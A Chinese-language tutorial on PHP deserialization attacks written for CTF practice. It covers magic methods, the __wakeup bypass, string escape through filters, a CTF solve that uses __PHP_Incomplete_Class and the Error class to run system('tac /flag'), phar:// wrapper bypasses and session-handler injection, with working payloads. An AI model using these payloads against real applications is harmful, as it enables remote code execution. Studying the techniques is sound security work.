php反序列化

本文参考php反序列化完整总结-先知社区

什么是序列化和反序列化

​ 在web中,因为具有多种数据类型,所以数据的传递其实并不方便,而为了简便,序列化应运而生。

​ 序列化是指将变量(比如int,arr,object)转换为一种可保存或传输的字符串形式的过程;而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。

​ 而在php反序列化的做题过程中,我们往往都是接触到object即对象。

​ 这也就要求对面向对象编程有点了解。

​ 面向对象的详情可以参考PHP 面向对象 | 菜鸟教程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TestClass //定义一个类
{
//一个变量
public $variable = 'This is a string';
//一个方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>

PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。
public(公有):公有的类成员可以在任何地方被访问
protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问
private(私有):私有的类成员则只能被其定义所在的类访问

注意:不同修饰符序列化后的值不一样

访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所示:

public:属性被序列化的时候属性值会变成属性名
protected:属性被序列化的时候属性值会变成\x00*\x00属性名
private:属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置

php反序列魔术方法

详情可以参考PHP: 魔术方法 - Manual

1
2
3
4
5
6
7
8
9
10
11
12
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__toString()//对象被当成字符串时触发,比如echo
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__sleep()//用于在对象被序列化(serialized)时触发
__wakeup()//用于在对象被反序列化(unserialized)时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

一些必要的知识点和绕过手段

1.__wakeup()绕过

在 unserialize() 之后会执行 __wake() 方法,但是如果,所给参数个数与实际参数个数不符,则不会执行 __wake(),例如

比如

1
2
3
正常为O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
绕过为'O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}'

2.protect和public序列化的区别

PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名%00*%00属性名。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。

3.字符串逃逸

特点1:php在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 ,超出的部分并不会被反序列化成功,这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。而且可以看到反序列化字符串都是以***”;}*结束的,那如果把*”;}***添入到需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。
特点2:长度不对应会报错

漏洞产生:反序列化之所以存在字符逃逸,最主要的原因是代码中存在针对序列化(serialize())后的字符串进行了过滤操作(变多或者变少)。

漏洞常见条件:序列化后过滤再去反序列化

a.字符串过滤后变长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function filter($str)
{
return str_replace('bb', 'ccc', $str);
}
class A
{
public $name = 'aaaa';
public $pass = '123456';
}
$AA = new A();
echo serialize($AA) . "\n";
$res = filter(serialize($AA));
echo $res."\n";
$c=unserialize($res);
var_dump($c);
?>

payload:

1
{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}

可以通过修改name使得pass的值变成hacker

这里其实就是利用了filter函数可以替换增加字符串,每增加一个bb,在过滤函数filter替换之后会多一个字符串,我们需要构造的payload***”;s:4:”pass”;s:6:”hacker”;}***是27个字符串,所以我们加上27个bb是为了多出27个字符

b.字符串过滤后变短

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function str_rep($string){
return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

我们需要控制name和sign来改变number。

payload:

1
name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}

4.php原生类应用

以新生赛ezunser为例子

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
$ser_a1 = $_POST['a'];
$ser_b1 = $_POST['b'];
$c = $_POST['c'];

$obj_a1 = unserialize($ser_a1);
$obj_b1 = unserialize($ser_b1);

$ser_a2 = serialize(unserialize($ser_a1));
$ser_b2 = serialize(unserialize($ser_b1));

$obj_a2 = unserialize($ser_a2);
$obj_b2 = unserialize($ser_b2);

if(get_class($obj_a1) === get_class($obj_a2) || get_class($obj_b1) === get_class($obj_b2)){
die("Nope");
}

if ($ser_a1 != $ser_a2 && $ser_b1 != $ser_b2) {
($obj_a2->$c())($obj_b2->$c());
}

这里涉及到一个小trick,当序列化时候,发现类未定义,就会由属性 PHP_Incomplete_Class来存储类名。当其在反序列化时候,就会将PHP_Incomplete_Class来作为类名,而$PHP_Incomplete_Class_Name这个属性用来存储类名。然后再次序列化,就会读取$PHP_Incomplete_Class_Name这个属性,将其内容作为序列化后的类名,如果这个类名仍未定义,则仍旧是__PHP_Incomplete_Class。而题目中没有定义类,因此想要绕过,我们需要用到php的内置类。例如,

a=O:1:”A”:2:{s:1:”a”;s:1:”b”;s:27:”__PHP_Incomplete_Class_Name”;s:5:”Error”;},

此时get_class($obj_a1)=__PHP_Incomplete_Class,而get_class($obj_a2)=Error, 从而绕过die,进行执行。

然后我们来看($obj_a2->$c())($obj_b2->$c());

Error类中有一个属性message,带有方法getMessage,可以返回message的内容,这是我们可以操控的。所以当$c=getMessage时候,我将题目简化成了这样。

1
$a($b);

其实就是简单的命令执行了,payload 如下。

1
2
3
a=O:1:"A":2:{s:7:"message";s:6:"system";s:27:"__PHP_Incomplete_Class_Name";s:5:"Error";}
&b=O:1:"A":2:{s:7:"message";s:9:"tac /flag";s:27:"__PHP_Incomplete_Class_Name";s:5:"Error";}
&c=getMessage

执行命令system(“tac /flag”),获得flag。

5.phar反序列化

phar反序列化即在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
具体文章https://paper.seebug.org/680/
首先了解一下phar文件的结构,一个phar文件由四部分构成:

  • a stub:可以理解为一个标志,格式为xxx,前面内容不限,但必须以**HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
  • the file contents:被压缩文件的内容。
  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾

通俗的理解就是php文件系统很大一部分函数经过phar://解析时,存在着对meta-data(在这里区域面搞反序列化的pop链)反序列化的操做。

要求

1、phar文件可上传
2、文件流操作函数如file_exists(),file_get_contents()等影响函数要有可利用的魔术方法做跳板
3、文件流参数可控,且phar://没有被过滤,或可绕过

1.

绕过方法

(1)phar://被过滤
有以下几种方法可以绕过:

  • compress.bzip2://phar://
  • compress.zlib://phar:///
  • php://filter/resource=phar://
  • $z = ‘compress.bzip2://phar:///home/sx/test.phar/test.txt’;

(2)除此之外,我们还可以将phar伪造成其他格式的文件。
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。如下:

6.session反序列化

理解php的session之前先了解一下session是什么,这里引用百度的描述,比较官方
Session:
在计算机中,尤其是在网络应用中,称为“会话控制”。Session对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web页之间跳转时,存储在Session对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web页时,如果该用户还没有会话,则Web服务器将自动创建一个 Session对象。当会话过期或被放弃后,服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在Session对象中。不过不同语言的会话机制可能有所不同。

PHP session:
可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。

session的工作流程:
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

seesion_start()的作用:
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

php.ini中一些Session配置:
1、session.save_path=”” –设置session的存储路径
2、session.save_handler=””–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
3、session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
4、session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

常见的php-session存放位置有
1、/var/lib/php5/sess_PHPSESSID
2、/var/lib/php7/sess_PHPSESSID
3、/var/lib/php/sess_PHPSESSID
4、/tmp/sess_PHPSESSID 5 /tmp/sessions/sess_PHPSESSED
5、phpstudy集成环境下在php.ini里查找session.save_path,也可以在这里更改路径

session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

注:自 PHP 5.5.4 起可以使用 _php*serialize*
上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有php和 php_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(| 和 !) 。
注:查看版本,注意:在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize,这里面是php_serialize,同时意识到 在index界面的时候,设置选择的是php,因此可能会造成漏洞
下面我们实例来看看三种不同处理器序列化后的结果。

1
2
3
4
5
6
7
8
9
<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['lemon'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

比如这里我get进去一个值为abc,查看一下各个存储格式:

  • php : lemon|s:3:”abc”;
  • php_serialize : a:1:{s:5:”lemon”;s:3:”abc”;}
  • php_binary : lemons:3:”abc”;

这有什么问题,其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同引擎来处理session文件。

漏洞造成原理:

前面的前置知识没理解没关系,我们直接先看看漏洞如何造成的,这里涉及的其实是这两个处理器
//ini_set(‘session.serialize_handler’, ‘php’);
//ini_set(“session.serialize_handler”, “php_serialize”);
当php_serialize处理器处理接收session,php处理器处理session时便会造成反序列化的可利用,因为php处理器是有一个|间隔符,当php_serialize处理器传入时在序列化字符串前加上|,|O:7:”xiaoxin”:1:{s:4:”name”;s:7:”xiaoxin”;}”
此时session值为a:1:{s:7:”session”;s:44:”|O:7:”xiaoxin:1:{s:4:”name”;s:7:”xiaoxin”;}”;}*当php处理器处理时,会把|当作间隔符,取出后面的值去反序列化,即是我们构造的payload:|O:7:”xiaoxin:1:{s:4:”name”;s:7:”xiaoxin”;}”*